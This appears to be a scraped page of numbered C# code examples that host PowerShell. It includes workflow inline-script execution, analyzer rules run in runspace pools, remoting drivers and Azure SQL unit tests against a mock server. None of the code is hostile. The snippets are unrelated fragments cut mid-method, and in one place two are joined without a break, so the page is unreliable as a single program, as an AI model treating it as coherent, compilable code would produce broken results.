            Dictionary <string, object> activityVariables      = new Dictionary <string, object>(StringComparer.OrdinalIgnoreCase);
            Dictionary <string, object> activityUsingVariables = new Dictionary <string, object>(StringComparer.OrdinalIgnoreCase);

            string[] streams =
            {
                "Result", "PSError", "PSWarning", "PSVerbose", "PSDebug", "PSProgress", "PSInformation"
            };

            // First, set the variables from the user's variables
            foreach (System.ComponentModel.PropertyDescriptor property in context.DataContext.GetProperties())
            {
                if (String.Equals(property.Name, "ParameterDefaults", StringComparison.OrdinalIgnoreCase))
                {
                    continue;
                }

                // Add all user-defined variables/parameters in the same scope of the InlineScript activity
                if (!allWorkflowVarNames.Contains(property.Name))
                {
                    allWorkflowVarNames.Add(property.Name);
                }

                Object value = property.GetValue(context.DataContext);
                if (value != null)
                {
                    object tempValue = value;

                    PSDataCollection <PSObject> collectionObject = value as PSDataCollection <PSObject>;

                    if (collectionObject != null && collectionObject.Count == 1)
                    {
                        tempValue = collectionObject[0];
                    }

                    activityVariables[property.Name] = tempValue;
                }
            }

            // Then, set anything we received from parameters
            foreach (PSActivityArgumentInfo currentArgument in GetActivityArguments())
            {
                string @default = currentArgument.Name;
                if (streams.Any(item => string.Equals(item, @default, StringComparison.OrdinalIgnoreCase)))
                {
                    continue;
                }

                object argumentValue = currentArgument.Value.Get(context);
                if (argumentValue != null && !activityVariables.ContainsKey(currentArgument.Name))
                {
                    activityVariables[currentArgument.Name] = argumentValue;
                }
            }

            // Then, set the variables from the host defaults
            if (defaults != null)
            {
                foreach (string hostDefault in defaults.Keys)
                {
                    string @default = hostDefault;
                    if (streams.Any(item => string.Equals(item, @default, StringComparison.OrdinalIgnoreCase)))
                    {
                        continue;
                    }

                    object propertyValue = defaults[hostDefault];
                    if (propertyValue != null && !activityVariables.ContainsKey(hostDefault))
                    {
                        activityVariables[hostDefault] = propertyValue;
                    }
                }
            }

            if (_commandSpecified)
            {
                string script = string.IsNullOrEmpty(Command) ? string.Empty : Command;
                Tracer.WriteMessage(String.Format(CultureInfo.InvariantCulture, "PowerShell activity ID={0}: Inline Script: '{1}'.", context.ActivityInstanceId, script));

                if (IsBlocked(script))
                {
                    throw new PSInvalidOperationException(String.Format(CultureInfo.InvariantCulture, ActivityResources.CannotLaunchFormat, script));
                }

                string[] targetNodes = null;
                if (this.PSComputerName.Expression != null)
                {
                    targetNodes = this.PSComputerName.Get(context);
                }
                else
                {
                    if (defaults != null && defaults.ContainsKey("PSComputerName"))
                    {
                        targetNodes = this.ParameterDefaults.Get(context)["PSComputerName"] as string[];
                    }
                }

                // See if this command will be run in process.
                if ((targetNodes == null || targetNodes.Length == 0) && GetRunInProc(context))
                {
                    if (_compiledScriptForInProc == null || _ci == null)
                    {
                        lock (Syncroot)
                        {
                            if (_compiledScriptForInProc == null)
                            {
                                if (_scriptWithoutUsing == null)
                                {
                                    _scriptWithoutUsing = RemoveUsingPrefix(script, allWorkflowVarNames, out _usingVariables);
                                }
                                _compiledScriptForInProc = ScriptBlock.Create(_scriptWithoutUsing);
                            }

                            // Invoke using the CommandInfo for Invoke-Command directly, rather than going through
                            // the command discovery since this is much faster.
                            if (_ci == null)
                            {
                                _ci = new CmdletInfo("Invoke-Command", typeof(Microsoft.PowerShell.Commands.InvokeCommandCommand));
                            }
                        }
                    }

                    SetAvailableUsingVariables(activityVariables, activityUsingVariables);
                    Tracer.WriteMessage("PowerShell activity: executing InlineScript locally with ScriptBlock.");
                    invoker = System.Management.Automation.PowerShell.Create();
                    invoker.AddCommand(_ci).AddParameter("NoNewScope").AddParameter("ScriptBlock", _compiledScriptForInProc);
                }
                else
                {
                    // Try to convert the ScriptBlock to a powershell instance
                    if (_compiledScriptForOutProc == null)
                    {
                        lock (Syncroot)
                        {
                            if (_compiledScriptForOutProc == null)
                            {
                                _compiledScriptForOutProc = ScriptBlock.Create(script);
                            }
                        }
                    }

                    try
                    {
                        // we trust the code inside inlinescript, set isTrusted as True.
                        invoker = _compiledScriptForOutProc.GetPowerShell(activityVariables, out activityUsingVariables, true);
                        Tracer.WriteMessage("PowerShell activity: executing InlineScript with ScriptBlock to powershell conversion.");
                    }
                    catch (Exception)
                    {
                        invoker = null;
                    }

                    if (invoker == null)
                    {
                        // Since scriptblocks aren't serialized with fidelity in the remote case, we need to
                        // use AddScript instead.
                        if (_scriptWithoutUsing == null)
                        {
                            lock (Syncroot)
                            {
                                if (_scriptWithoutUsing == null)
                                {
                                    _scriptWithoutUsing = RemoveUsingPrefix(script, allWorkflowVarNames, out _usingVariables);
                                }
                            }
                        }

                        SetAvailableUsingVariables(activityVariables, activityUsingVariables);
                        Tracer.WriteMessage("PowerShell activity: executing InlineScript by using AddScript.");
                        invoker = System.Management.Automation.PowerShell.Create();
                        invoker.AddScript(_scriptWithoutUsing);
                    }
                }
            }
            else
            {
                string commandName = CommandName.Get(context);
                if (String.IsNullOrEmpty(commandName))
                {
                    throw new ArgumentException(ActivityResources.CommandNameRequired);
                }

                Tracer.WriteMessage(String.Format(CultureInfo.InvariantCulture, "PowerShell activity ID={0}: Invoking command '{1}'.", context.ActivityInstanceId, commandName));
                invoker = System.Management.Automation.PowerShell.Create();
                invoker.AddCommand(commandName);

                System.Collections.Hashtable parameters = Parameters.Get(context);

                if (parameters != null && parameters.Count > 0)
                {
                    foreach (var key in parameters.Keys)
                    {
                        Tracer.WriteMessage(String.Format(CultureInfo.InvariantCulture, "PowerShell activity: Adding parameter '-{0} {1}'.",
                                                          key, parameters[key]));
                    }
                    invoker.AddParameters(parameters);
                }
            }

            var implementationContext = new ActivityImplementationContext
            {
                PowerShellInstance = invoker,
                WorkflowContext    = activityUsingVariables
            };

            return(implementationContext);
        }
        /// <summary>
        /// GetExternalRecord: Get external rules in parallel using RunspacePool and run each rule in its own runspace.
        /// </summary>
        /// <param name="ast"></param>
        /// <param name="token"></param>
        /// <param name="rules"></param>
        /// <param name="command"></param>
        /// <param name="filePath"></param>
        /// <returns></returns>
        public IEnumerable <DiagnosticRecord> GetExternalRecord(Ast ast, Token[] token, ExternalRule[] rules, InvokeScriptAnalyzerCommand command, string filePath)
        {
            // Defines InitialSessionState.
            InitialSessionState state = InitialSessionState.CreateDefault2();

            // Groups rules by module paths and imports them.
            Dictionary <string, List <ExternalRule> > modules = rules
                                                                .GroupBy <ExternalRule, string>(item => item.GetFullModulePath())
                                                                .ToDictionary(item => item.Key, item => item.ToList());

            state.ImportPSModule(modules.Keys.ToArray <string>());

            // Creates and opens RunspacePool
            RunspacePool rsp = RunspaceFactory.CreateRunspacePool(state);

            rsp.SetMinRunspaces(1);
            rsp.SetMaxRunspaces(5);
            rsp.Open();

            // Groups rules by AstType and Tokens.
            Dictionary <string, List <ExternalRule> > astRuleGroups = rules
                                                                      .Where <ExternalRule>(item => item.GetParameter().EndsWith("ast", true, CultureInfo.CurrentCulture))
                                                                      .GroupBy <ExternalRule, string>(item => item.GetParameter())
                                                                      .ToDictionary(item => item.Key, item => item.ToList());

            Dictionary <string, List <ExternalRule> > tokenRuleGroups = rules
                                                                        .Where <ExternalRule>(item => item.GetParameter().EndsWith("token", true, CultureInfo.CurrentCulture))
                                                                        .GroupBy <ExternalRule, string>(item => item.GetParameter())
                                                                        .ToDictionary(item => item.Key, item => item.ToList());

            using (rsp)
            {
                // Defines the commands to be run.
                List <System.Management.Automation.PowerShell> powerShellCommands
                    = new List <System.Management.Automation.PowerShell>();

                // Defines the command results.
                List <IAsyncResult> powerShellCommandResults = new List <IAsyncResult>();

                #region Builds and invokes commands list

                foreach (KeyValuePair <string, List <ExternalRule> > tokenRuleGroup in tokenRuleGroups)
                {
                    foreach (IExternalRule rule in tokenRuleGroup.Value)
                    {
                        System.Management.Automation.PowerShell posh =
                            System.Management.Automation.PowerShell.Create();
                        posh.RunspacePool = rsp;

                        // Adds command to run external analyzer rule, like
                        // Measure-CurlyBracket -ScriptBlockAst $ScriptBlockAst
                        // Adds module name (source name) to handle ducplicate function names in different modules.
                        string ruleName = string.Format("{0}\\{1}", rule.GetSourceName(), rule.GetName());
                        posh.Commands.AddCommand(ruleName);
                        posh.Commands.AddParameter(rule.GetParameter(), token);

                        // Merges results because external analyzer rules may throw exceptions.
                        posh.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error,
                                                                 PipelineResultTypes.Output);

                        powerShellCommands.Add(posh);
                        powerShellCommandResults.Add(posh.BeginInvoke());
                    }
                }

                foreach (KeyValuePair <string, List <ExternalRule> > astRuleGroup in astRuleGroups)
                {
                    // Find all AstTypes that appeared in rule groups.
                    IEnumerable <Ast> childAsts = ast.FindAll(new Func <Ast, bool>((testAst) =>
                                                                                   (testAst.GetType().Name.ToLower(CultureInfo.CurrentCulture) == astRuleGroup.Key.ToLower(CultureInfo.CurrentCulture))), false);

                    foreach (Ast childAst in childAsts)
                    {
                        foreach (IExternalRule rule in astRuleGroup.Value)
                        {
                            System.Management.Automation.PowerShell posh =
                                System.Management.Automation.PowerShell.Create();
                            posh.RunspacePool = rsp;

                            // Adds command to run external analyzer rule, like
                            // Measure-CurlyBracket -ScriptBlockAst $ScriptBlockAst
                            // Adds module name (source name) to handle ducplicate function names in different modules.
                            string ruleName = string.Format("{0}\\{1}", rule.GetSourceName(), rule.GetName());
                            posh.Commands.AddCommand(ruleName);
                            posh.Commands.AddParameter(rule.GetParameter(), childAst);

                            // Merges results because external analyzer rules may throw exceptions.
                            posh.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error,
                                                                     PipelineResultTypes.Output);

                            powerShellCommands.Add(posh);
                            powerShellCommandResults.Add(posh.BeginInvoke());
                        }
                    }
                }

                #endregion

                #region Collects the results from commands.

                for (int i = 0; i < powerShellCommands.Count; i++)
                {
                    // EndInvoke will wait for each command to finish, so we will be getting the commands
                    // in the same order that they have been invoked withy BeginInvoke.
                    PSDataCollection <PSObject> psobjects = powerShellCommands[i].EndInvoke(powerShellCommandResults[i]);

                    foreach (var psobject in psobjects)
                    {
                        DiagnosticSeverity severity;
                        IScriptExtent      extent;
                        string             message  = string.Empty;
                        string             ruleName = string.Empty;

                        // Because error stream is merged to output stream,
                        // we need to handle the error records.
                        if (psobject.ImmediateBaseObject is ErrorRecord)
                        {
                            ErrorRecord record = (ErrorRecord)psobject.ImmediateBaseObject;
                            command.WriteError(record);
                            continue;
                        }

                        // DiagnosticRecord may not be correctly returned from external rule.
                        try
                        {
                            Enum.TryParse <DiagnosticSeverity>(psobject.Properties["Severity"].Value.ToString().ToUpper(), out severity);
                            message  = psobject.Properties["Message"].Value.ToString();
                            extent   = (IScriptExtent)psobject.Properties["Extent"].Value;
                            ruleName = psobject.Properties["RuleName"].Value.ToString();
                        }
                        catch (Exception ex)
                        {
                            command.WriteError(new ErrorRecord(ex, ex.HResult.ToString("X"), ErrorCategory.NotSpecified, this));
                            continue;
                        }

                        if (!string.IsNullOrEmpty(message))
                        {
                            yield return(new DiagnosticRecord(message, extent, ruleName, severity, null));
                        }
                    }
                }

                #endregion
            }
        }
Exemplo n.º 23
0
        private static void HandleErrorFromPipeline(Cmdlet cmdlet, ErrorRecord errorRecord, PowerShell powerShell)
        {
            if (!cmdlet.MyInvocation.ExpectingInput)
            {
                if (((powerShell.Runspace != null) && (powerShell.Runspace.RunspaceStateInfo.State != RunspaceState.Opened)) ||
                    ((powerShell.RunspacePool != null) && (powerShell.RunspacePool.RunspacePoolStateInfo.State != RunspacePoolState.Opened)))
                {
                    cmdlet.ThrowTerminatingError(errorRecord);
                }
            }

            cmdlet.WriteError(errorRecord);
        }
Exemplo n.º 24
0
        private static IEnumerable <PSObject> InvokeTopLevelPowerShell(
            PowerShell powerShell,
            CancellationToken cancellationToken,
            PSCmdlet cmdlet,
            PSInvocationSettings invocationSettings,
            string errorMessageTemplate)
        {
            using (var mergedOutput = new BlockingCollection <Func <PSCmdlet, IEnumerable <PSObject> > >(s_blockingCollectionCapacity))
            {
                var asyncOutput = new PSDataCollection <PSObject>();
                EventHandler <DataAddedEventArgs> outputHandler = GetStreamForwarder <PSObject>(
                    output => mergedOutput.Add(_ => new[] { output }),
                    swallowInvalidOperationExceptions: true);

                EventHandler <DataAddedEventArgs> errorHandler = GetStreamForwarder <ErrorRecord>(
                    errorRecord => mergedOutput.Add(
                        delegate(PSCmdlet c)
                {
                    errorRecord = GetErrorRecordForRemotePipelineInvocation(errorRecord, errorMessageTemplate);
                    HandleErrorFromPipeline(c, errorRecord, powerShell);
                    return(Enumerable.Empty <PSObject>());
                }),
                    swallowInvalidOperationExceptions: true);

                EventHandler <DataAddedEventArgs> warningHandler = GetStreamForwarder <WarningRecord>(
                    warningRecord => mergedOutput.Add(
                        delegate(PSCmdlet c)
                {
                    c.WriteWarning(warningRecord.Message);
                    return(Enumerable.Empty <PSObject>());
                }),
                    swallowInvalidOperationExceptions: true);

                EventHandler <DataAddedEventArgs> verboseHandler = GetStreamForwarder <VerboseRecord>(
                    verboseRecord => mergedOutput.Add(
                        delegate(PSCmdlet c)
                {
                    c.WriteVerbose(verboseRecord.Message);
                    return(Enumerable.Empty <PSObject>());
                }),
                    swallowInvalidOperationExceptions: true);

                EventHandler <DataAddedEventArgs> debugHandler = GetStreamForwarder <DebugRecord>(
                    debugRecord => mergedOutput.Add(
                        delegate(PSCmdlet c)
                {
                    c.WriteDebug(debugRecord.Message);
                    return(Enumerable.Empty <PSObject>());
                }),
                    swallowInvalidOperationExceptions: true);

                EventHandler <DataAddedEventArgs> informationHandler = GetStreamForwarder <InformationRecord>(
                    informationRecord => mergedOutput.Add(
                        delegate(PSCmdlet c)
                {
                    c.WriteInformation(informationRecord);
                    return(Enumerable.Empty <PSObject>());
                }),
                    swallowInvalidOperationExceptions: true);

                asyncOutput.DataAdded += outputHandler;
                powerShell.Streams.Error.DataAdded       += errorHandler;
                powerShell.Streams.Warning.DataAdded     += warningHandler;
                powerShell.Streams.Verbose.DataAdded     += verboseHandler;
                powerShell.Streams.Debug.DataAdded       += debugHandler;
                powerShell.Streams.Information.DataAdded += informationHandler;

                try
                {
                    // TODO/FIXME: ETW event for PowerShell invocation

                    var asyncResult = powerShell.BeginInvoke <PSObject, PSObject>(
                        input: null,
                        output: asyncOutput,
                        settings: invocationSettings,
                        callback: delegate
                    {
                        try
                        {
                            mergedOutput.CompleteAdding();
                        }
                        catch (InvalidOperationException)
                        // ignore exceptions thrown because mergedOutput.CompleteAdding was called
                        {
                        }
                    },
                        state: null);

                    using (cancellationToken.Register(powerShell.Stop))
                    {
                        try
                        {
                            foreach (Func <PSCmdlet, IEnumerable <PSObject> > mergedOutputItem in mergedOutput.GetConsumingEnumerable())
                            {
                                foreach (PSObject outputObject in mergedOutputItem(cmdlet))
                                {
                                    yield return(outputObject);
                                }
                            }
                        }
                        finally
                        {
                            mergedOutput.CompleteAdding();
                            powerShell.EndInvoke(asyncResult);
                        }
                    }
                }
                finally
                {
                    asyncOutput.DataAdded -= outputHandler;
                    powerShell.Streams.Error.DataAdded       -= errorHandler;
                    powerShell.Streams.Warning.DataAdded     -= warningHandler;
                    powerShell.Streams.Verbose.DataAdded     -= verboseHandler;
                    powerShell.Streams.Debug.DataAdded       -= debugHandler;
                    powerShell.Streams.Information.DataAdded -= informationHandler;
                }
            }
        }
Exemplo n.º 25
0
        /// <summary>
        /// Default constructor for creating ServerPowerShellDrivers
        /// </summary>
        /// <param name="powershell">decoded powershell object.</param>
        /// <param name="extraPowerShell">extra pipeline to be run after <paramref name="powershell"/> completes.</param>
        /// <param name="noInput">whether there is input for this powershell.</param>
        /// <param name="clientPowerShellId">the client powershell id.</param>
        /// <param name="clientRunspacePoolId">the client runspacepool id.</param>
        /// <param name="runspacePoolDriver">runspace pool driver
        /// which is creating this powershell driver</param>
        /// <param name="apartmentState">apartment state for this powershell.</param>
        /// <param name="hostInfo">host info using which the host for
        /// this powershell will be constructed</param>
        /// <param name="streamOptions">serialization options for the streams in this powershell.</param>
        /// <param name="addToHistory">
        /// true if the command is to be added to history list of the runspace. false, otherwise.
        /// </param>
        /// <param name="rsToUse">
        /// If not null, this Runspace will be used to invoke Powershell.
        /// If null, the RunspacePool pointed by <paramref name="runspacePoolDriver"/> will be used.
        /// </param>
        /// <param name="output">
        /// If not null, this is used as another source of output sent to the client.
        /// </param>
        internal ServerPowerShellDriver(PowerShell powershell, PowerShell extraPowerShell, bool noInput, Guid clientPowerShellId,
                                        Guid clientRunspacePoolId, ServerRunspacePoolDriver runspacePoolDriver,
                                        ApartmentState apartmentState, HostInfo hostInfo, RemoteStreamOptions streamOptions,
                                        bool addToHistory, Runspace rsToUse, PSDataCollection <PSObject> output)
#endif
        {
            InstanceId          = clientPowerShellId;
            RunspacePoolId      = clientRunspacePoolId;
            RemoteStreamOptions = streamOptions;
#if !CORECLR // No ApartmentState In CoreCLR
            this.apartmentState = apartmentState;
#endif
            LocalPowerShell        = powershell;
            _extraPowerShell       = extraPowerShell;
            _localPowerShellOutput = new PSDataCollection <PSObject>();
            _noInput         = noInput;
            _addToHistory    = addToHistory;
            _psDriverInvoker = runspacePoolDriver;

            DataStructureHandler = runspacePoolDriver.DataStructureHandler.CreatePowerShellDataStructureHandler(clientPowerShellId, clientRunspacePoolId, RemoteStreamOptions, LocalPowerShell);
            _remoteHost          = DataStructureHandler.GetHostAssociatedWithPowerShell(hostInfo, runspacePoolDriver.ServerRemoteHost);

            if (!noInput)
            {
                InputCollection = new PSDataCollection <object>();
                InputCollection.ReleaseOnEnumeration = true;
                InputCollection.IdleEvent           += new EventHandler <EventArgs>(HandleIdleEvent);
            }

            RegisterPipelineOutputEventHandlers(_localPowerShellOutput);

            if (LocalPowerShell != null)
            {
                RegisterPowerShellEventHandlers(LocalPowerShell);
                _datasent[0] = false;
            }

            if (extraPowerShell != null)
            {
                RegisterPowerShellEventHandlers(extraPowerShell);
                _datasent[1] = false;
            }

            RegisterDataStructureHandlerEventHandlers(DataStructureHandler);

            // set the runspace pool and invoke this powershell
            if (rsToUse != null)
            {
                LocalPowerShell.Runspace = rsToUse;
                if (extraPowerShell != null)
                {
                    extraPowerShell.Runspace = rsToUse;
                }
            }
            else
            {
                LocalPowerShell.RunspacePool = runspacePoolDriver.RunspacePool;
                if (extraPowerShell != null)
                {
                    extraPowerShell.RunspacePool = runspacePoolDriver.RunspacePool;
                }
            }

            if (output != null)
            {
                output.DataAdded += (sender, args) =>
                {
                    if (_localPowerShellOutput.IsOpen)
                    {
                        var items = output.ReadAll();
                        foreach (var item in items)
                        {
                            _localPowerShellOutput.Add(item);
                        }
                    }
                };
            }
        }
Exemplo n.º 26
0
        /// <summary>
        /// Create $testdb1 and $testdb2 on the given context.
        /// </summary>
        /// <param name="powershell">The powershell instance containing the context.</param>
        /// <param name="contextVariable">The variable name that holds the server context.</param>
        public static void CreateTestDatabasesWithSqlAuth(
            System.Management.Automation.PowerShell powershell,
            string contextVariable)
        {
            HttpSession testSession = DatabaseTestHelper.DefaultSessionCollection.GetSession(
                "UnitTest.Common.CreateTestDatabasesWithSqlAuth");

            DatabaseTestHelper.SetDefaultTestSessionSettings(testSession);
            testSession.RequestValidator =
                new Action <HttpMessage, HttpMessage.Request>(
                    (expected, actual) =>
            {
                Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                Assert.AreEqual(expected.RequestInfo.UserAgent, actual.UserAgent);
                switch (expected.Index)
                {
                // Request 0-1: Create testdb1
                // Request 2-3: Create testdb2
                case 0:
                case 1:
                case 2:
                case 3:
                    DatabaseTestHelper.ValidateHeadersForODataRequest(
                        expected.RequestInfo,
                        actual);
                    break;

                default:
                    Assert.Fail("No more requests expected.");
                    break;
                }
            });

            using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager())
            {
                Collection <PSObject> database1, database2;
                using (new MockHttpServer(
                           exceptionManager,
                           MockHttpServer.DefaultServerPrefixUri,
                           testSession))
                {
                    database1 = powershell.InvokeBatchScript(
                        @"$testdb1 = New-AzureSqlDatabase " +
                        @"-Context $context " +
                        @"-DatabaseName testdb1 " +
                        @"-Force",
                        @"$testdb1");
                    database2 = powershell.InvokeBatchScript(
                        @"$testdb2 = New-AzureSqlDatabase " +
                        @"-Context $context " +
                        @"-DatabaseName testdb2 " +
                        @"-Collation Japanese_CI_AS " +
                        @"-Edition Web " +
                        @"-MaxSizeGB 5 " +
                        @"-Force",
                        @"$testdb2");
                }

                Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!");
                Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!");
                powershell.Streams.ClearStreams();

                Assert.IsTrue(
                    database1.Single().BaseObject is Services.Server.Database,
                    "Expecting a Database object");
                Services.Server.Database database1Obj =
                    (Services.Server.Database)database1.Single().BaseObject;
                Assert.AreEqual("testdb1", database1Obj.Name, "Expected db name to be testdb1");

                Assert.IsTrue(
                    database2.Single().BaseObject is Services.Server.Database,
                    "Expecting a Database object");
                Services.Server.Database database2Obj =
                    (Services.Server.Database)database2.Single().BaseObject;
                Assert.AreEqual("testdb2", database2Obj.Name, "Expected db name to be testdb2");
                Assert.AreEqual(
                    "Japanese_CI_AS",
                    database2Obj.CollationName,
                    "Expected collation to be Japanese_CI_AS");
                Assert.AreEqual("Web", database2Obj.Edition, "Expected edition to be Web");
                Assert.AreEqual(5, database2Obj.MaxSizeGB, "Expected max size to be 5 GB");
            }
        }
Exemplo n.º 27
0
        /// <summary>
        /// Get the PowerShell instance for the PSv3 (or later) remote end
        /// Generate the PowerShell instance by using the text of the scriptblock
        /// </summary>
        /// <remarks>
        /// In PSv3 and PSv4, if the remote server is PSv3 or later, we generate an object array that contains the value of each using expression in
        /// the parsing order, and then pass the array to the remote end as a special argument. On the remote end, the using expressions will be indexed 
        /// in the same parsing order during the variable analysis process, and the index is used to get the value of the corresponding using expression
        /// from the special array. There is a limitation in that approach -- $using cannot be used in different scopes with Invoke-Command/Start-Job 
        /// (see WinBlue#475223), because the variable analysis process can only index using expressions within the same scope (this is by design), and a 
        /// using expression from a different scope may be assigned with an index that conflicts with other using expressions.
        /// 
        /// To fix the limitation described above, we changed to pass a dictionary with key/value pairs for the using expressions on the client side. The key
        /// is an unique base64 encoded string generated based on the text of the using expression. On the remote end, it can always get the unique key of a 
        /// using expression because the text passed to the server side is the same, and thus the value of the using expression can be retrieved from the special 
        /// dictionary. With this approach, $using in different scopes can be supported for Invoke-Command/Start-Job.
        /// 
        /// This fix involved changes on the server side, so the fix will work only if the remote end is PSv5 or later. In order to avoid possible breaking
        /// change in 'PSv5 client - PSv3 server' and 'PSv5 client - PSv4 server' scenarios, we should keep sending the array-form using values if the remote
        /// end is PSv3 or PSv4 as long as no UsingExpression is in a different scope. If the remote end is PSv3 or PSv4 and we do have UsingExpressions
        /// in different scopes, then we will revert back to the approach we use to handle UsingExpression for PSv2 remote server.
        /// </remarks>
        /// <returns></returns>
        private System.Management.Automation.PowerShell GetPowerShellForPSv3OrLater(string serverPsVersion)
        {
            if (_powershellV3 != null) { return _powershellV3; }

            // Try to convert the scriptblock to powershell commands.
            _powershellV3 = ConvertToPowerShell();

            if (_powershellV3 != null) { return _powershellV3; }

            // Using expressions can be a variable, as well as property and / or array references. E.g.
            //
            // icm { echo $using:a }
            // icm { echo $using:a[3] }
            // icm { echo $using:a.Length }
            //
            // Semantic checks on the using statement have already validated that there are no arbitrary expressions,
            // so we'll allow these expressions in everything but NoLanguage mode.

            bool allowUsingExpressions = (Context.SessionState.LanguageMode != PSLanguageMode.NoLanguage);
            object[] usingValuesInArray = null;
            IDictionary usingValuesInDict = null;

            // Value of 'serverPsVersion' should be either 'PSv3Orv4' or 'PSv5OrLater'
            if (serverPsVersion == PSv3Orv4)
            {
                usingValuesInArray = ScriptBlockToPowerShellConverter.GetUsingValuesAsArray(_scriptBlock, allowUsingExpressions, Context, null);
                if (usingValuesInArray == null)
                {
                    // 'usingValuesInArray' will be null only if there are UsingExpressions used in different scopes. 
                    // PSv3 and PSv4 remote server cannot handle this, so we revert back to the approach we use for PSv2 remote end.
                    return GetPowerShellForPSv2();
                }
            }
            else
            {
                // Remote server is PSv5 or later version
                usingValuesInDict = ScriptBlockToPowerShellConverter.GetUsingValuesAsDictionary(_scriptBlock, allowUsingExpressions, Context, null);
            }

            string textOfScriptBlock = this.MyInvocation.ExpectingInput
                ? _scriptBlock.GetWithInputHandlingForInvokeCommand()
                : _scriptBlock.ToString();

            _powershellV3 = System.Management.Automation.PowerShell.Create().AddScript(textOfScriptBlock);

            if (_args != null)
            {
                foreach (object arg in _args)
                {
                    _powershellV3.AddArgument(arg);
                }
            }

            if (usingValuesInDict != null && usingValuesInDict.Count > 0)
            {
                _powershellV3.AddParameter(Parser.VERBATIM_ARGUMENT, usingValuesInDict);
            }
            else if (usingValuesInArray != null && usingValuesInArray.Length > 0)
            {
                _powershellV3.AddParameter(Parser.VERBATIM_ARGUMENT, usingValuesInArray);
            }

            return _powershellV3;
        }
Exemplo n.º 28
0
        public void NewAzureSqlDatabaseServerContextWithSqlAuthNegativeCases()
        {
            HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                "UnitTests.NewAzureSqlDatabaseServerContextWithSqlAuthNegativeCases");

            using (System.Management.Automation.PowerShell powershell =
                       System.Management.Automation.PowerShell.Create())
            {
                UnitTestHelper.ImportAzureModule(powershell);
                UnitTestHelper.CreateTestCredential(powershell);

                powershell.Runspace.SessionStateProxy.SetVariable(
                    "serverName",
                    SqlDatabaseTestSettings.Instance.ServerName);

                using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager())
                {
                    // Tell the sql auth factory to create a v2 context (skip checking sql version using select query).
                    //
                    SqlAuthContextFactory.sqlVersion = SqlAuthContextFactory.SqlVersion.v2;

                    // Test warning when different $metadata is received.
                    Collection <PSObject> serverContext;
                    using (new MockHttpServer(
                               exceptionManager,
                               MockHttpServer.DefaultServerPrefixUri,
                               testSession))
                    {
                        serverContext = powershell.InvokeBatchScript(
                            string.Format(
                                CultureInfo.InvariantCulture,
                                @"$context = New-AzureSqlDatabaseServerContext " +
                                @"-ServerName $servername " +
                                @"-ManageUrl {0} " +
                                @"-Credential $credential",
                                MockHttpServer.DefaultServerPrefixUri.AbsoluteUri),
                            @"$context");
                    }

                    Assert.AreEqual(1, powershell.Streams.Error.Count, "Errors during run!");
                    Assert.AreEqual(2, powershell.Streams.Warning.Count, "Should have warning!");
                    powershell.Streams.ClearStreams();

                    // Tell the sql auth factory to create a v2 context (skip checking sql version using select query).
                    //
                    SqlAuthContextFactory.sqlVersion = SqlAuthContextFactory.SqlVersion.v2;

                    // Test error case
                    using (new MockHttpServer(
                               exceptionManager,
                               MockHttpServer.DefaultServerPrefixUri,
                               testSession))
                    {
                        powershell.InvokeBatchScript(
                            string.Format(
                                CultureInfo.InvariantCulture,
                                @"$context = New-AzureSqlDatabaseServerContext " +
                                @"-ServerName $servername " +
                                @"-ManageUrl {0} " +
                                @"-Credential $credential",
                                MockHttpServer.DefaultServerPrefixUri.AbsoluteUri),
                            @"$context");
                    }

                    Assert.AreEqual(1, powershell.Streams.Error.Count, "Should have errors!");
                    Assert.AreEqual(2, powershell.Streams.Warning.Count, "Should have warning!");
                    Assert.AreEqual(
                        "Test error message",
                        powershell.Streams.Error.First().Exception.Message);
                    Assert.IsTrue(
                        powershell.Streams.Warning.Any(
                            (w) => w.Message.StartsWith("Client Session Id:")),
                        "Client session Id not written to warning");
                    Assert.IsTrue(
                        powershell.Streams.Warning.Any(
                            (w) => w.Message.StartsWith("Client Request Id:")),
                        "Client request Id not written to warning");
                    powershell.Streams.ClearStreams();
                }
            }
        }
Exemplo n.º 29
0
        /// <summary>
        /// To display an exception using the display formatter, 
        /// run a second pipeline passing in the error record.
        /// The runtime will bind this to the $input variable,
        /// which is why $input is being piped to the Out-String
        /// cmdlet. The WriteErrorLine method is called to make sure 
        /// the error gets displayed in the correct error color.
        /// </summary>
        /// <param name="e">The exception to display.</param>
        private void ReportException(Exception e)
        {
            if (e != null)
            {
                object error;
                IContainsErrorRecord icer = e as IContainsErrorRecord;
                if (icer != null)
                {
                    error = icer.ErrorRecord;
                }
                else
                {
                    error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null);
                }

                lock (this.instanceLock)
                {
                    this.currentPowerShell = PowerShell.Create();
                }

                this.currentPowerShell.Runspace = this.myRunSpace;

                try
                {
                    this.currentPowerShell.AddScript("$input").AddCommand("out-string");

                    // Do not merge errors, this function will swallow errors.
                    Collection<PSObject> result;
                    PSDataCollection<object> inputCollection = new PSDataCollection<object>();
                    inputCollection.Add(error);
                    inputCollection.Complete();
                    result = this.currentPowerShell.Invoke(inputCollection);

                    if (result.Count > 0)
                    {
                        string str = result[0].BaseObject as string;
                        if (!string.IsNullOrEmpty(str))
                        {
                            // Remove \r\n, which is added by the Out-String cmdlet.
                            this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2));
                        }
                    }
                }
                finally
                {
                    // Dispose of the pipeline and set it to null, locking it  because
                    // currentPowerShell may be accessed by the ctrl-C handler.
                    lock (this.instanceLock)
                    {
                        this.currentPowerShell.Dispose();
                        this.currentPowerShell = null;
                    }
                }
            }
        }
Exemplo n.º 30
0
		internal ActivityCreatedEventArgs(System.Management.Automation.PowerShell instance)
		{
			this.PowerShellInstance = instance;
		}
        public void SetAzureSqlDatabaseNameWithSqlAuth()
        {
            using (System.Management.Automation.PowerShell powershell =
                       System.Management.Automation.PowerShell.Create())
            {
                // Create a context
                NewAzureSqlDatabaseServerContextTests.CreateServerContextSqlAuth(
                    powershell,
                    "$context");
                NewAzureSqlDatabaseServerContextTests.CreateServerContextSqlAuth(
                    powershell,
                    "$contextCleanup");

                HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                    "UnitTests.SetAzureSqlDatabaseNameWithSqlAuth");
